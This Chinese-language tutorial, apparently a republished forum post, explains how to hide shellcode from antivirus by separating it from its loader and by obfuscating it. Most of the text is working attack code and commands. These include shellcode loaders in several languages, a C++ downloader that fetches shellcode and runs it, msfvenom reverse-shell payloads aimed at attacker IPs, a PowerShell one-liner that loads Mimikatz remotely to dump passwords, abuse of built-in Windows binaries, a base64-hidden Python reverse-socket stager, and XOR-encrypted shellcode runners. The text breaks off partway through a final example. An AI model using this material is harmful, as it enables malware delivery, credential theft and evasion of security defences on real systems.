那些shellcode免殺總結


首發先知: https://xz.aliyun.com/t/7170

 

自己還是想把一些shellcode免殺的技巧通過白話文、傻瓜式的文章把技巧講清楚。希望更多和我一樣web狗也能動手做到免殺的實現。

 

文中我將shellcode免殺技巧分為  "分離“、”混淆“兩個大類,通過不同技巧針對不同檢測方式,也就是常聽到的特征檢測、行為檢測、雲查殺。

 

 個人能力有限,文中出現錯誤還請斧正、輕噴。

 

 

0x01 那些shellcode"分離"免殺

首先來看看關於shellcode常用得C/C++加載方式

常見方式比如函數指針執行、內聯匯編指令、偽指令等方式。

 

 

 

 

但是這種shellcode明顯 和執行程序在一起很容易被查殺

 

 

所以大多數分離免殺的思想就是把執行shellcode和加載程序分開。

 

來看看常見的分離加載 拿C++舉例

 

正常使用像 VirtualAlloc 內存操作的函數執行shellcode :

#include "stdafx.h"
#include "windows.h"

using namespace std;
int main(int argc, char **argv)
{
    unsigned char buf[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"
        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
        "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

 

 

 

 

如果要把shellcode單獨分離 我們可以通過其他當時獲取到shellcode,而不是事先講shellcode寫死在程序中

舉例:shellcode從文本提取或從遠程下載獲取。

 

這里就把shellcode通過http請求(使用winhttp api)獲取賦值到內存緩存數組,動態分配內存執行shellcode:

#include "stdafx.h"
#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
    }

    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    }
    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
    SIZE_T len = lstrlenW(header);
    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
    if (hRequest)
    {
        std::string data = "name=host&sign=xx11sad";
        const void *ss = (const char *)data.c_str();
        bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
        ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
    }
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
            {
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());

                break;
            }

            if (!dwSize)
                break;

            pszOutBuffer = new char[dwSize + 1];

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                break;
            }

            ZeroMemory(pszOutBuffer, dwSize + 1);

            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
            {
                printf("Error %u in WinHttpReadData.\n", GetLastError());
            }
            else
            {
                printf("ok");
            }
            //char ShellCode[1024];
            int code_length = strlen(pszOutBuffer);
            char* ShellCode = (char*)calloc(code_length  /2 , sizeof(unsigned char));

            for (size_t count = 0; count < code_length / 2; count++){
                sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
                pszOutBuffer += 2;
            }
            printf("%s", ShellCode);
            //strcpy(ShellCode,pszOutBuffer);
            void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(exec, ShellCode, sizeof ShellCode);
            ((void(*)())exec)();
            delete[] pszOutBuffer;
            if (!dwDownloaded)
                break;
        } while (dwSize > 0);
    }
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    system("pause");
}

 

 

 

 

 看下查殺情況: 去除shellcode后火絨已經不殺了 

 

 

 

類似這種遠程讀取中還有很多 ,類如powershell內存加載,相信各位也沒少用過

 

舉例:powershell遠程加載mimikatz讀取密碼

 powershell IEX (New-Object Net.WebClient).DownloadString('
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >>c:\1.txt

 

 

類似的還有很多,不過這種用得很多內存加載有些殺軟還是攔的,怎么解決我們文后面再說。

 

其實到這里,用的最多的語言加載器的原理不用說也知道了,這里還是解釋下加載器,引用我同事對加載器的解釋:

shellcode就好比一杯水,加載器就是裝水的杯子,水倒進了杯子才可以喝,shellcode被加載器裝載后才可以執行。

 

A)那些加載器執行shellcode:

 

ssi:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txt
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of c file: 1457 bytes
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5

 

 

 

 

 

shellcode_launcher:

 

 

 

 

 c#加載:

using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
    class Program
    {
        static void Main(string[] args)
        {
            // native function’s compiled code
            // generated with metasploit
            byte[] shellcode = new byte[333] {
            
            };
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data
            IntPtr pinfo = IntPtr.Zero;
            // execute native code
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            }
                    private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            [DllImport("kernel32")]
                    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
            [DllImport("kernel32")]
                    private static extern bool VirtualFree(IntPtr lpAddress,
            UInt32 dwSize, UInt32 dwFreeType);
            [DllImport("kernel32")]
                    private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
            );
            [DllImport("kernel32")]
                    private static extern bool CloseHandle(IntPtr handle);
            [DllImport("kernel32")]
                    private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );
            [DllImport("kernel32")]
                    private static extern IntPtr GetModuleHandle(
            string moduleName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetProcAddress(
            IntPtr hModule,
            string procName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 LoadLibrary(
            string lpFileName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetLastError();
      }
}

 

 

 py加載:

import base64,sys;
import ctypes

whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
    ctypes.windll.user32.ShowWindow(whnd, 0)
    ctypes.windll.kernel32.CloseHandle(whnd)

exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

 

 

 

go內聯c加載:

package main

import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
    ...省略...
    buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.
    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

 

 

資源加載:

CPLResourceRunner

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

 

用Cobalt Strike 生成shellcode

Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)

 py -2 ConvertShellcode.py beacon.bin
Shellcode written to shellcode.txt

0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13


cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

H4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJR
Hp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8
gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA==

Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl

 

 

 

powershell加載(MMFml):

namespace mmfExeTwo
{
   using System;
   using System.IO.MemoryMappedFiles;
   using System.Runtime.InteropServices;

   class Program
   {

       private delegate IntPtr NewDelegate();

       // To handle the location by applying the appropriate type
       // We had to create a delegate to handle the the pointer to the location where we shim in the shellcode
       // into the Memory Mapped File.  This allows the location of the opp code to be referenced later for execution
       private unsafe static IntPtr GetShellMemAddr()
       {
           // 64bit shell code.  Tested on a win10 system.  Injects "cmd -k calc"
           // was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell"
           var shellcode = new byte[]
               {
                    0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
                    0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
                    0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
                    0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
                    0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
                    0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
                    0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
                    0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
                    0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
                    0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
                    0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                    0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
                    0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
                    0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                    0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
                    0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
               };

           MemoryMappedFile mmf = null;
           MemoryMappedViewAccessor viewaccessor = null;

           try
           {
               /* The try block creates the MMF and assigns the RWE permissions
               The view accessor is created with matching permissions
               the shell code from GetShellMemAddr is written to MMF
               then the pointer is gained and a delegate is created to handle pointer value
               so that it can be passed in therms of the returned function */

               mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length);
               var pointer = (byte*)0;
               viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);
               var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate));
               return func();
           }
           catch
           {
               return IntPtr.Zero;
           }
           finally // You should always clean up after yourself :)
           {
               viewaccessor.Dispose();
               mmf.Dispose();
           }
       }

       static void Main(string[] args)
       {
           GetShellMemAddr();
       }
   }
}

 

msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp


Invoke-MMFml

 

 

 

 

加載器就到這里吧,加載器的實現有能力可以自己造輪子,免殺效果非常不錯的。

 

 

 

B)Lolbins白利用加載shellcode

 

除了加載器這種"杯子和水"的分離的思想,個人認為還具有"分離"免殺思想的就是Lolbins,也就是白名單。

 

下面例舉一些白利用,這種分離多半是因為殺行為特征,比如你這個程序運行上下文不應該訪問某個api,這種就會被捕獲,而白利用就是繞過這種行為捕獲,而這種白利用中有的shellcode或執行文件還是會落地被查殺,這個文后部分會提到,先來看白利用。

 

LOLBins,全稱“Living-Off-the-Land Binaries”,直白翻譯為“生活在陸地上的二進制“,這個概念最初在2013年DerbyCon黑客大會由Christopher Campbell和Matt Graeber進行創造,最終Philip Goh提出了LOLBins這個概念。  說白了就是白利用 ,舉個例子

 

DarkHydrus APT樣本

MD5:B108412F1CDC0602D82D3E6B318DC634

使用到的啟動命令:cscript.exe “C:\Users\Public\Documents\ OfficeUpdateService.vbs”

這里就用了cscript加載vbs 添加開機啟動項,啟動腳本。

  

 

 

mshta:

payload:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin

cat shellcode.bin |base64 -w 0

mshta.exe http://192.168.174.134 /qing.hta

替換模板:

https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

 

tshellcode替換位置:

 

 

 

 

 

Msiexec:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txt

C:\Windows\System32\msiexec.exe /q /i http://192.168.174.134 /qing.txt

加載dll:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dll

msiexec /y C:\qing.dll

 

 

 

 

 Msbuild:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml

模板用三好師傅的:
https://github.com/3gstudent/msbuild-inline-task

 

 

 

 

Installutil

編譯:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs


執行:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe


詳細:
https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/

 

 

 wmic:

wmic os get /FORMAT:"http://example.com/evil.xsl"

模板:
https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl

  

 

 

csc:

msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 ‐ f csharp

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

通過IInstallutil執行即可

 

 

 白利用就不列舉更多了,其他一些白利用也是一個道理,那么問題來了,前面說的白利用執行某些時候我們的shellcode生成的exe或者dll還是會落地,

雖然前面說的內存加載可以解決這個問題,那假設必須落地,怎么逃過各種檢測呢?

 

這就是我歸為免殺的第二個方式大類,混淆免殺。

 

 

 

 

0x02 那些shellcode"混淆"免殺

shellcode是否可以像php一句話那樣混淆、加密、拆分呢

還是從最簡單的舉例子開始

 

A)shellcode編碼混淆

xor異或加密shellcode后,申請內存執行,和文開頭執行shell從的方式無區別

 

這里拿C# xor為例子(ShellcodeWrapper):

using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace RunShellCode
{
    static class Program
    {
        //==============================================================================
        // CRYPTO FUNCTIONS
        //==============================================================================
        private static T[] SubArray<T>(this T[] data, int index, int length)
        {
            T[] result = new T[length];
            Array.Copy(data, index, result, 0, length);
            return result;
        }

        private static byte[] xor(byte[] cipher, byte[] key) {
            byte[] decrypted = new byte[cipher.Length];

            for(int i = 0; i < cipher.Length; i++) {
                decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]);
            }

            return decrypted;
        }

        //--------------------------------------------------------------------------------------------------
        // Decrypts the given a plaintext message byte array with a given 128 bits key
        // Returns the unencrypted message
        //--------------------------------------------------------------------------------------------------
        private static byte[] aesDecrypt(byte[] cipher, byte[] key)
        {
            var IV = cipher.SubArray(0, 16);
            var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);

            // Create an AesManaged object with the specified key and IV.
            using (AesManaged aes = new AesManaged())
            {
                aes.Padding = PaddingMode.PKCS7;
                aes.KeySize = 128;
                aes.Key = key;
                aes.IV = IV;

                using (MemoryStream ms = new MemoryStream())
                {
                    using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(encryptedMessage, 0, encryptedMessage.Length);
                    }

                    return ms.ToArray();
                }
            }
        }

        //==============================================================================
        // MAIN FUNCTION
        //==============================================================================
        static void Main()
        {
            byte[] encryptedShellcode = new byte[] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 };
            string key = "qing";
            string cipherType = "xor";


            byte[] shellcode = null;

            //--------------------------------------------------------------
            // Decrypt the shellcode
            if (cipherType == "xor") {
                shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));
            }
            else if (cipherType == "aes") {
                shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));
            }
                        
            //--------------------------------------------------------------            
            // Copy decrypted shellcode to memory
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;

            // Prepare data
            IntPtr pinfo = IntPtr.Zero;

            // Invoke the shellcode
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(
            UInt32 lpStartAddr,
            UInt32 size,
            UInt32 flAllocationType,
            UInt32 flProtect
        );

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
        );

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
        );
    }
}

 

 

 

 

 

 

 

 

 

其他語言也是一樣,比如py 異或編碼、base64、十六進制這些都是可以的

 

py Base64(k8gege):

import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
  
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
  
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
  
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
  
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

 

py 十六進制(k8gege):

#scrun by k8gege
import ctypes
import sys
#calc.exe
